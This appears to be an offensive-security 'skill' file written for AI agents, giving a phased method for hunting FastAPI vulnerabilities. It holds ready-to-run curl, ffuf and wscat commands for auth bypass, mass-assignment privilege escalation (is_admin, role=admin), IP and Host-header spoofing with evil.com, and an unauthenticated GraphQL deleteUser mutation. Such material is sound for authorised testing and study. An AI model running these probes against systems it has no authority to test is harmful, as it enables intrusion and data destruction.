hunt-fastapi – Security skill for AI agents

FastAPI Security Hunting

Hunt FastAPI-specific vulnerabilities in dependency injection authorization gaps, Pydantic model coercion and extra field exploitation, OpenAPI schema mining for hidden endpoints, and ASGI middleware bypasses. FastAPI's design — dependency injection for auth, Pydantic for validation, OpenAPI auto-generation — creates unique attack surface distinct from Flask or Django.

When to Use

• Target uses FastAPI (indicated by /docs, /redoc, /openapi.json, or server: uvicorn).
• OpenAPI schema is publicly accessible.
• API uses dependency injection (Depends) for authorization.
• WebSocket endpoints exist alongside REST API.
• Application uses Pydantic v1 or v2 for request validation.

Quick Detection

# FastAPI fingerprinting
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/openapi.json" | jq '.info.title' 2>/dev/null
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/docs" -w "%{http_code}\n" -o /dev/null
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/redoc" -w "%{http_code}\n" -o /dev/null

Procedure

Phase 1 — OpenAPI Schema Mining

# Download full schema for endpoint discovery
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/openapi.json" | jq '.paths | keys[]'

# Find hidden endpoints not in docs
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/openapi.json" | jq '.paths | to_entries[] | select(.value.get != null and .value.get.security == []) | .key'

# Discover internal endpoints via path parameter fuzzing
ffuf -u "https://target.com/api/FUZZ" \
  -w /path/to/wordlist.txt \
  -mc 200,401,403 \
  -H "Accept: application/json"

Phase 2 — Dependency Injection Authorization Gaps

# Depends vs Security — check if auth is actually enforced
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/admin/users"     # no auth
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/admin/users" \
  -H "Authorization: Bearer INVALID_TOKEN"         # invalid auth

# Dependency override in path operations
# Some endpoints may inherit Depends from router but override with None
for method in GET POST PUT PATCH DELETE; do
  curl --max-time 30 --connect-timeout 10 -sk -X "$method" "https://target.com/api/users/1" \
    -w "$method — %{http_code}\n" -o /dev/null
done

# Background tasks added via BackgroundTasks may skip auth
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/orders" \
  -H "Content-Type: application/json" \
  -d '{"user_id":"VICTIM_ID","product":"test"}'

Phase 3 — Pydantic Model Exploitation

# Type coercion — string "true" coerced to boolean
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/register" \
  -H "Content-Type: application/json" \
  -d '{"username":"test","is_admin":"true"}'  # string coerced to bool

# Extra fields — Pydantic v1 ignores extra, v2 raises error by default
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/users" \
  -H "Content-Type: application/json" \
  -d '{"username":"test","role":"admin"}'  # extra field may be passed to DB

# Content-type switching
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/users" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d 'username=test&role=admin&is_superuser=true'

Phase 4 — ASGI Middleware & Proxy Trust

# ProxyHeaders trust — if behind a proxy, spoof client IP
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/me" \
  -H "X-Forwarded-For: 127.0.0.1" \
  -H "X-Real-IP: 127.0.0.1"

# TrustedHostMiddleware bypass
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/health" \
  -H "Host: evil.com"

# CORS middleware — test preflight bypass
curl --max-time 30 --connect-timeout 10 -sk -X OPTIONS "https://target.com/api/users" \
  -H "Origin: https://evil.com" \
  -H "Access-Control-Request-Method: DELETE"

Phase 5 — WebSocket Auth Parity

# FastAPI WebSocket endpoints — auth may differ from REST
# Connect without token
wscat -c "wss://target.com/ws/notifications"

# Connect with minimal scope
wscat -c "wss://target.com/ws/admin" -H "Authorization: Bearer USER_TOKEN"

# Mounted sub-app WebSockets may skip middleware
wscat -c "wss://target.com/subapp/ws"

Phase 6 — GraphQL Mount Authorization Gaps

# GraphQL mounted via starlette-graphene or strawberry-graphql
# May not enforce Depends at GraphQL resolver level
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"{ __schema { types { name } } }"}'

# Mutations may work without auth even when queries require it
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"mutation { deleteUser(id: 1) { success } }"}'

Pitfalls

• Pydantic v2 model_config with extra='ignore' silently drops unknown fields. Test both Pydantic v1 and v2 behavior.
• OpenAPI schema may be restricted. If /openapi.json returns 403, try /docs and /redoc which serve the same data.
• FastAPI Depends with Security is NOT the same as Depends. Security integrates with OpenAPI security schemes — but both can be misconfigured.
• Uvicorn --proxy-headers must be enabled for IP spoofing to work. Check with X-Forwarded-For — if the server sees your real IP, proxy headers are disabled.

Verification

1. OpenAPI schema reveals endpoints not documented in the public API docs.

2. An endpoint with Depends(get_current_user) accepts requests without any Authorization header.

3. Pydantic type coercion accepts string values for boolean/integer fields and persists them.

4. WebSocket endpoint accepts connections without session authentication while the REST equivalent requires it.

Related Skills

• hunt-api-misconfig — Broader API configuration issues including Swagger/OpenAPI exposure.
• hunt-idor — Object-level authorization gaps in FastAPI path parameters.
• web-enumeration — Directory and endpoint discovery through OpenAPI schema mining.